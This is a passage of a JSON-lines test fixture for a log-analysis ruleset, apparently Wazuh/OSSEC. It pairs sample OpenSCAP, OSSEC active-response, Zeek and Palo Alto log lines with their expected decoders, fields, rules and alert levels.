"0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81529", "level": "5", "expected_decoder": "oscap", "expected_rule": "81529", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule failed (severity low)."} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"fail\", severity: \"medium\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "fail", "oscap.check.severity": "medium", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81530", "level": "7", "expected_decoder": "oscap", "expected_rule": "81530", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule failed (severity medium)."} +{"log": "oscap: msg: \"xccdf-result\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", title: \"Ensure /tmp Located On Separate Partition\", id: \"xccdf_org.ssgproject.content_rule_partition_for_tmp\", result: \"fail\", severity: \"high\", description: \"The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.\", rationale: \"The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.\" references: \"SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)\", identifiers: \"CCE-27173-4 (http://cce.mitre.org)\", oval-id: \"oval:ssg:def:522\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_rht-ccp\", profile-title: \"CentOS Profile for Cloud Providers (CPCP)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "The /tmp directory is a world-writable directory used for temporary file storage. Ensure it has its own partition or logical volume at installation time, or migrate it using LVM.", "oscap.check.id": "xccdf_org.ssgproject.content_rule_partition_for_tmp", "oscap.check.identifiers": "CCE-27173-4 (http://cce.mitre.org)", "oscap.check.oval.id": "oval:ssg:def:522", "oscap.check.rationale": "The /tmp partition is used as temporary storage by many programs. Placing /tmp in its own partition enables the setting of more restrictive mount options, which can help protect programs which use it.", "oscap.check.references": "SC-32 (http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf), Test attestation on 20120928 by MM (https://github.com/OpenSCAP/scap-security-guide/wiki/Contributors)", "oscap.check.result": "fail", "oscap.check.severity": "high", "oscap.check.title": "Ensure /tmp Located On Separate Partition", "oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_rht-ccp", "oscap.scan.profile.title": "CentOS Profile for Cloud Providers (CPCP)"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.identifiers", "oscap.check.oval.id", "oscap.check.rationale", "oscap.check.references", "oscap.check.result", "oscap.check.severity", "oscap.check.title", "oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title"], "rule": "81531", "level": "9", "expected_decoder": "oscap", "expected_rule": "81531", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP rule failed (severity high)."} +{"log": "oscap: msg: \"xccdf-overview\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"100.000000\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_common", "oscap.scan.profile.title": "Common Profile for General-Purpose Systems", "oscap.scan.score": "100.000000"}, "field_names": ["oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title", "oscap.scan.score"], "rule": "81540", "level": "3", "expected_decoder": "oscap", "expected_rule": "81540", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Report overview."} +{"log": "oscap: msg: \"xccdf-overview\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"85.835060\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_common", "oscap.scan.profile.title": "Common Profile for General-Purpose Systems", "oscap.scan.score": "85.835060"}, "field_names": ["oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title", "oscap.scan.score"], "rule": "81541", "level": "4", "expected_decoder": "oscap", "expected_rule": "81541", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Report overview: Score less than 90"} +{"log": "oscap: msg: \"xccdf-overview\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"75.835060\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_common", "oscap.scan.profile.title": "Common Profile for General-Purpose Systems", "oscap.scan.score": "75.835060"}, "field_names": ["oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title", "oscap.scan.score"], "rule": "81542", "level": "5", "expected_decoder": "oscap", "expected_rule": "81542", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Report overview: Score less than 80"} +{"log": "oscap: msg: \"xccdf-overview\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"45.835060\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_common", "oscap.scan.profile.title": "Common Profile for General-Purpose Systems", "oscap.scan.score": "45.835060"}, "field_names": ["oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title", "oscap.scan.score"], "rule": "81543", "level": "7", "expected_decoder": "oscap", "expected_rule": "81543", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Report overview: Score less than 50"} +{"log": "oscap: msg: \"xccdf-overview\", scan-id: \"0011477050403\", content: \"ssg-centos-7-ds.xml\", benchmark-id: \"xccdf_org.ssgproject.content_benchmark_RHEL-7\", profile-id: \"xccdf_org.ssgproject.content_profile_common\", profile-title: \"Common Profile for General-Purpose Systems\", score: \"25.835060\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.benchmark.id": "xccdf_org.ssgproject.content_benchmark_RHEL-7", "oscap.scan.content": "ssg-centos-7-ds.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.id": "xccdf_org.ssgproject.content_profile_common", "oscap.scan.profile.title": "Common Profile for General-Purpose Systems", "oscap.scan.score": "25.835060"}, "field_names": ["oscap.scan.benchmark.id", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.id", "oscap.scan.profile.title", "oscap.scan.score"], "rule": "81544", "level": "9", "expected_decoder": "oscap", "expected_rule": "81544", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Report overview: Score less than 30"} +{"log": "oscap: msg: \"oval-result\", scan-id: \"0011477050403\", content: \"cve-ubuntu-xenial-oval.xml\", title: \"CVE-2002-2439 on Ubuntu 16.04 LTS (xenial) - low.\", id: \"oval:com.ubuntu.xenial:def:20022439000\", result: \"pass\", description: \"operator new[] sometimes returns pointers to heap blocks which are too small. When a new array is allocated, the C++ run-time has to calculate its size. The product may exceed the maximum value which can be stored in a machine register. This error is ignored, and the truncated value is used for the heap allocation. This may lead to heap overflows and therefore security bugs. (See http://cert.uni-stuttgart.de/advisories/calloc.php for further references.)\", profile-title: \"vulnerability\", reference: \"CVE-2002-2439 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2439)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "operator new[] sometimes returns pointers to heap blocks which are too small. When a new array is allocated, the C++ run-time has to calculate its size. The product may exceed the maximum value which can be stored in a machine register. This error is ignored, and the truncated value is used for the heap allocation. This may lead to heap overflows and therefore security bugs. (See http://cert.uni-stuttgart.de/advisories/calloc.php for further references.)", "oscap.check.id": "oval:com.ubuntu.xenial:def:20022439000", "oscap.check.references": "CVE-2002-2439 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2439)", "oscap.check.result": "pass", "oscap.check.title": "CVE-2002-2439 on Ubuntu 16.04 LTS (xenial) - low.", "oscap.scan.content": "cve-ubuntu-xenial-oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.title": "vulnerability"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.references", "oscap.check.result", "oscap.check.title", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.title"], "rule": "81551", "level": "0", "expected_decoder": "oscap", "expected_rule": "81551", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval pass"} +{"log": "oscap: msg: \"oval-result\", scan-id: \"0011477050403\", content: \"cve-ubuntu-xenial-oval.xml\", title: \"CVE-2002-2439 on Ubuntu 16.04 LTS (xenial) - low.\", id: \"oval:com.ubuntu.xenial:def:20022439000\", result: \"fail\", description: \"operator new[] sometimes returns pointers to heap blocks which are too small. When a new array is allocated, the C++ run-time has to calculate its size. The product may exceed the maximum value which can be stored in a machine register. This error is ignored, and the truncated value is used for the heap allocation. This may lead to heap overflows and therefore security bugs. (See http://cert.uni-stuttgart.de/advisories/calloc.php for further references.)\", profile-title: \"patch\", reference: \"CVE-2002-2439 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2439)\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.check.description": "operator new[] sometimes returns pointers to heap blocks which are too small. When a new array is allocated, the C++ run-time has to calculate its size. The product may exceed the maximum value which can be stored in a machine register. This error is ignored, and the truncated value is used for the heap allocation. This may lead to heap overflows and therefore security bugs. (See http://cert.uni-stuttgart.de/advisories/calloc.php for further references.)", "oscap.check.id": "oval:com.ubuntu.xenial:def:20022439000", "oscap.check.references": "CVE-2002-2439 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2439)", "oscap.check.result": "fail", "oscap.check.title": "CVE-2002-2439 on Ubuntu 16.04 LTS (xenial) - low.", "oscap.scan.content": "cve-ubuntu-xenial-oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.profile.title": "patch"}, "field_names": ["oscap.check.description", "oscap.check.id", "oscap.check.references", "oscap.check.result", "oscap.check.title", "oscap.scan.content", "oscap.scan.id", "oscap.scan.profile.title"], "rule": "81552", "level": "7", "expected_decoder": "oscap", "expected_rule": "81552", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval fail"} +{"log": "oscap: msg: \"oval-overview\", scan-id: \"0011477050403\", content: \"com.ubuntu.xenial.cve.oval.xml\", score: \"95.19\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "com.ubuntu.xenial.cve.oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.score": "95.19"}, "field_names": ["oscap.scan.content", "oscap.scan.id", "oscap.scan.score"], "rule": "81560", "level": "3", "expected_decoder": "oscap", "expected_rule": "81560", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval Report overview."} +{"log": "oscap: msg: \"oval-overview\", scan-id: \"0011477050403\", content: \"com.ubuntu.xenial.cve.oval.xml\", score: \"85.19\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "com.ubuntu.xenial.cve.oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.score": "85.19"}, "field_names": ["oscap.scan.content", "oscap.scan.id", "oscap.scan.score"], "rule": "81561", "level": "4", "expected_decoder": "oscap", "expected_rule": "81561", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval Report overview: Score less than 90"} +{"log": "oscap: msg: \"oval-overview\", scan-id: \"0011477050403\", content: \"com.ubuntu.xenial.cve.oval.xml\", score: \"75.19\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "com.ubuntu.xenial.cve.oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.score": "75.19"}, "field_names": ["oscap.scan.content", "oscap.scan.id", "oscap.scan.score"], "rule": "81562", "level": "5", "expected_decoder": "oscap", "expected_rule": "81562", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval Report overview: Score less than 80"} +{"log": "oscap: msg: \"oval-overview\", scan-id: \"0011477050403\", content: \"com.ubuntu.xenial.cve.oval.xml\", score: \"45.19\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "com.ubuntu.xenial.cve.oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.score": "45.19"}, "field_names": ["oscap.scan.content", "oscap.scan.id", "oscap.scan.score"], "rule": "81563", "level": "7", "expected_decoder": "oscap", "expected_rule": "81563", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval Report overview: Score less than 50"} +{"log": "oscap: msg: \"oval-overview\", scan-id: \"0011477050403\", content: \"com.ubuntu.xenial.cve.oval.xml\", score: \"25.19\".", "decoder": "oscap", "parent": "oscap", "fields": {"oscap.scan.content": "com.ubuntu.xenial.cve.oval.xml", "oscap.scan.id": "0011477050403", "oscap.scan.score": "25.19"}, "field_names": ["oscap.scan.content", "oscap.scan.id", "oscap.scan.score"], "rule": "81564", "level": "9", "expected_decoder": "oscap", "expected_rule": "81564", "rule_matches_expected": true, "ini_file": "oscap.ini", "section": "OpenSCAP Oval Report overview: Score less than 30"} +{"log": "Sat May 7 03:17:27 CDT 2011 /var/ossec/active-response/bin/host-deny.sh add - 172.16.0.1 1304756247.60385 31151", "decoder": "ar_log", "parent": "", "fields": {"extra_data": "31151", "id": "1304756247.60385", "script": "host-deny.sh", "srcip": "172.16.0.1", "type": "add"}, "field_names": ["extra_data", "id", "script", "srcip", "type"], "rule": "603", "level": "3", "expected_decoder": "ar_log", "expected_rule": "603", "rule_matches_expected": true, "ini_file": "ossec.ini", "section": "ossec: active response: add host"} +{"log": "Sat May 7 03:17:27 CDT 2011 /var/ossec/active-response/bin/firewall-drop.sh add - 172.16.0.1 1304756247.60385 31151", "decoder": "ar_log", "parent": "", "fields": {"extra_data": "31151", "id": "1304756247.60385", "script": "firewall-drop.sh", "srcip": "172.16.0.1", "type": "add"}, "field_names": ["extra_data", "id", "script", "srcip", "type"], "rule": "601", "level": "3", "expected_decoder": "ar_log", "expected_rule": "601", "rule_matches_expected": true, "ini_file": "ossec.ini", "section": "ossec: active response: add firewall"} +{"log": "Sat May 7 03:27:57 CDT 2011 /var/ossec/active-response/bin/host-deny.sh delete - 172.16.0.1 1304756247.60385 31151", "decoder": "ar_log", "parent": "", "fields": {"extra_data": "31151", "id": "1304756247.60385", "script": "host-deny.sh", "srcip": "172.16.0.1", "type": "delete"}, "field_names": ["extra_data", "id", "script", "srcip", "type"], "rule": "604", "level": "3", "expected_decoder": "ar_log", "expected_rule": "604", "rule_matches_expected": true, "ini_file": "ossec.ini", "section": "ossec: active response: delete host"} +{"log": "Sat May 7 03:27:57 CDT 2011 /var/ossec/active-response/bin/firewall-drop.sh delete - 172.16.0.1 1304756247.60385 31151", "decoder": "ar_log", "parent": "", "fields": {"extra_data": "31151", "id": "1304756247.60385", "script": "firewall-drop.sh", "srcip": "172.16.0.1", "type": "delete"}, "field_names": ["extra_data", "id", "script", "srcip", "type"], "rule": "602", "level": "3", "expected_decoder": "ar_log", "expected_rule": "602", "rule_matches_expected": true, "ini_file": "ossec.ini", "section": "ossec: active response: delete firewall"} +{"log": "2015/01/29 21:09:49 ossec-logcollector(1950): INFO: Analyzing file: '/var/log/httpd/error_log'.", "decoder": "ossec-logcollector", "parent": "", "fields": {"extra_data": "I"}, "field_names": ["extra_data"], "rule": "701", "level": "0", "expected_decoder": "ossec-logcollector", "expected_rule": "701", "rule_matches_expected": true, "ini_file": "ossec.ini", "section": "ossec-logcollector: ignore informational messages at startup"} +{"log": "{\"ts\":1573747292.658982,\"uid\":\"Crpk2p1rt6idRtb2Fi\",\"id.orig_h\":\"10.0.2.2\",\"id.orig_p\":45398,\"id.resp_h\":\"10.0.2.15\",\"id.resp_p\":22,\"version\":2,\"auth_attempts\":0,\"client\":\"SSH-2.0-OpenSSH_7.9p1 Ubuntu-10\",\"bro_engine\":\"SSH\"}", "decoder": "json", "parent": "", "fields": {"auth_attempts": "0", "bro_engine": "SSH", "client": "SSH-2.0-OpenSSH_7.9p1 Ubuntu-10", "id.orig_h": "10.0.2.2", "id.orig_p": "45398", "id.resp_h": "10.0.2.15", "id.resp_p": "22", "ts": "1573747292.658982", "uid": "Crpk2p1rt6idRtb2Fi", "version": "2"}, "field_names": ["auth_attempts", "bro_engine", "client", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", "ts", "uid", "version"], "rule": "66001", "level": "5", "expected_decoder": "json", "expected_rule": "66001", "rule_matches_expected": true, "ini_file": "owlh.ini", "section": "SSH"} +{"log": "{\"ts\":1573804908.676001,\"uid\":\"C4XJwR30xeMnOdUnm9\",\"id.orig_h\":\"10.0.0.1\",\"id.orig_p\":56980,\"id.resp_h\":\"10.0.0.5\",\"id.resp_p\":443,\"resumed\":false,\"established\":false,\"bro_engine\":\"SSL\"}", "decoder": "json", "parent": "", "fields": {"bro_engine": "SSL", "established": "false", "id.orig_h": "10.0.0.1", "id.orig_p": "56980", "id.resp_h": "10.0.0.5", "id.resp_p": "443", "resumed": "false", "ts": "1573804908.676001", "uid": "C4XJwR30xeMnOdUnm9"}, "field_names": ["bro_engine", "established", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", "resumed", "ts", "uid"], "rule": "66002", "level": "5", "expected_decoder": "json", "expected_rule": "66002", "rule_matches_expected": true, "ini_file": "owlh.ini", "section": "SSL"} +{"log": "{\"ts\":1573747600.751717,\"uid\":\"C5KJdi3dcFfrbKjPb2\",\"id.orig_h\":\"10.0.2.15\",\"id.orig_p\":48469,\"id.resp_h\":\"10.0.2.3\",\"id.resp_p\":53,\"proto\":\"udp\",\"trans_id\":44048,\"query\":\"archive.ubuntu.com\",\"rcode\":0,\"rcode_name\":\"NOERROR\",\"AA\":false,\"TC\":false,\"RD\":false,\"RA\":true,\"Z\":0,\"answers\":[\"91.189.88.173\",\"91.189.88.174\",\"91.189.88.24\",\"91.189.88.162\",\"91.189.88.149\",\"91.189.88.31\"],\"TTLs\":[60.0,60.0,60.0,60.0,60.0,60.0],\"rejected\":false,\"bro_engine\":\"DNS\"}", "decoder": "json", "parent": "", "fields": {"AA": "false", "RA": "true", "RD": "false", "TC": "false", "TTLs": "[60, 60, 60, 60, 60, 60]", "Z": "0", "answers": "['91.189.88.173', '91.189.88.174', '91.189.88.24', '91.189.88.162', '91.189.88.149', '91.189.88.31']", "bro_engine": "DNS", "id.orig_h": "10.0.2.15", "id.orig_p": "48469", "id.resp_h": "10.0.2.3", "id.resp_p": "53", "proto": "udp", "query": "archive.ubuntu.com", "rcode": "0", "rcode_name": "NOERROR", "rejected": "false", "trans_id": "44048", "ts": "1573747600.751717", "uid": "C5KJdi3dcFfrbKjPb2"}, "field_names": ["AA", "RA", "RD", "TC", "TTLs", "Z", "answers", "bro_engine", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", "proto", "query", "rcode", "rcode_name", "rejected", "trans_id", "ts", "uid"], "rule": "66003", "level": "5", "expected_decoder": "json", "expected_rule": "66003", "rule_matches_expected": true, "ini_file": "owlh.ini", "section": "DNS"} +{"log": "{\"ts\":1573747285.572531,\"uid\":\"CGosDF2j8tJOWH3lCa\",\"id.orig_h\":\"10.0.2.2\",\"id.orig_p\":45338,\"id.resp_h\":\"10.0.2.15\",\"id.resp_p\":22,\"proto\":\"tcp\",\"duration\":1.794416904449463,\"orig_bytes\":456,\"resp_bytes\":0,\"conn_state\":\"SH\",\"local_orig\":true,\"local_resp\":true,\"missed_bytes\":0,\"history\":\"DcAcF\",\"orig_pkts\":28,\"orig_ip_bytes\":1576,\"resp_pkts\":0,\"resp_ip_bytes\":0,\"bro_engine\":\"CONN\"}", "decoder": "json", "parent": "", "fields": {"bro_engine": "CONN", "conn_state": "SH", "duration": "1.794417", "history": "DcAcF", "id.orig_h": "10.0.2.2", "id.orig_p": "45338", "id.resp_h": "10.0.2.15", "id.resp_p": "22", "local_orig": "true", "local_resp": "true", "missed_bytes": "0", "orig_bytes": "456", "orig_ip_bytes": "1576", "orig_pkts": "28", "proto": "tcp", "resp_bytes": "0", "resp_ip_bytes": "0", "resp_pkts": "0", "ts": "1573747285.572531", "uid": "CGosDF2j8tJOWH3lCa"}, "field_names": ["bro_engine", "conn_state", "duration", "history", "id.orig_h", "id.orig_p", "id.resp_h", "id.resp_p", "local_orig", "local_resp", "missed_bytes", "orig_bytes", "orig_ip_bytes", "orig_pkts", "proto", "resp_bytes", "resp_ip_bytes", "resp_pkts", "ts", "uid"], "rule": "66004", "level": "5", "expected_decoder": "json", "expected_rule": "66004", "rule_matches_expected": true, "ini_file": "owlh.ini", "section": "CONN"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,", "decoder": "paloalto", "parent": "paloalto", "fields": {"receive_time": "2020/02/09 00:00:00", "serial_number": "00000000", "type": "SYSTEM"}, "field_names": ["receive_time", "serial_number", "type"], "rule": "64500", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64500", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto generic"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,TRAFFIC,", "decoder": "paloalto", "parent": "paloalto", "fields": {"receive_time": "2020/02/09 00:00:00", "serial_number": "00000000", "type": "TRAFFIC"}, "field_names": ["receive_time", "serial_number", "type"], "rule": "64500", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64500", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto generic"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,CONFIG,", "decoder": "paloalto", "parent": "paloalto", "fields": {"receive_time": "2020/02/09 00:00:00", "serial_number": "00000000", "type": "CONFIG"}, "field_names": ["receive_time", "serial_number", "type"], "rule": "64500", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64500", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto generic"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,THREAT,", "decoder": "paloalto", "parent": "paloalto", "fields": {"receive_time": "2020/02/09 00:00:00", "serial_number": "00000000", "type": "THREAT"}, "field_names": ["receive_time", "serial_number", "type"], "rule": "64500", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64500", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto generic"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,OTHERS,", "decoder": "paloalto", "parent": "paloalto", "fields": {"receive_time": "2020/02/09 00:00:00", "serial_number": "00000000", "type": "OTHERS"}, "field_names": ["receive_time", "serial_number", "type"], "rule": "64500", "level": "0", "expected_decoder": "paloalto", "expected_rule": "64500", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto generic"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,general,0,2020/00/00 00:00:00,,general,,0,0,general,informational,\"xxxxxxxxxxxxxxx\",0000000,0x0,0,0,0,0,,XXX-XX-XX", "decoder": "paloalto", "parent": "paloalto", "fields": {"action_flags": "0x0", "content_threat_type": "general", "description": "\"xxxxxxxxxxxxxxx\"", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "XXX-XX-XX", "event_id": "general", "generated_time": "2020/00/00 00:00:00", "module": "general", "receive_time": "2020/02/09 00:00:00", "sequence_number": "0000000", "serial_number": "00000000", "severity": "informational", "type": "SYSTEM"}, "field_names": ["action_flags", "content_threat_type", "description", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "event_id", "generated_time", "module", "receive_time", "sequence_number", "serial_number", "severity", "type"], "rule": "64501", "level": "2", "expected_decoder": "paloalto", "expected_rule": "64501", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity informational/low"} +{"log": "Apr 30 06:00:00 xx-xx-xx.xx 1,2020/02/09 00:00:00,00000000,SYSTEM,general,0,2020/00/00 00:00:00,,general,,0,0,general,low,\"xxxxxxxxxxxxxxx\",0000000,0x0,0,0,0,0,,XXX-XX-XX", "decoder": "paloalto", "parent": "paloalto", "fields": {"action_flags": "0x0", "content_threat_type": "general", "description": "\"xxxxxxxxxxxxxxx\"", "device_group_hierarchy_level_1": "0", "device_group_hierarchy_level_2": "0", "device_group_hierarchy_level_3": "0", "device_group_hierarchy_level_4": "0", "device_name": "XXX-XX-XX", "event_id": "general", "generated_time": "2020/00/00 00:00:00", "module": "general", "receive_time": "2020/02/09 00:00:00", "sequence_number": "0000000", "serial_number": "00000000", "severity": "low", "type": "SYSTEM"}, "field_names": ["action_flags", "content_threat_type", "description", "device_group_hierarchy_level_1", "device_group_hierarchy_level_2", "device_group_hierarchy_level_3", "device_group_hierarchy_level_4", "device_name", "event_id", "generated_time", "module", "receive_time", "sequence_number", "serial_number", "severity", "type"], "rule": "64501", "level": "2", "expected_decoder": "paloalto", "expected_rule": "64501", "rule_matches_expected": true, "ini_file": "paloalto.ini", "section": "Palo Alto severity informational/low"} +{"log": "Apr 30 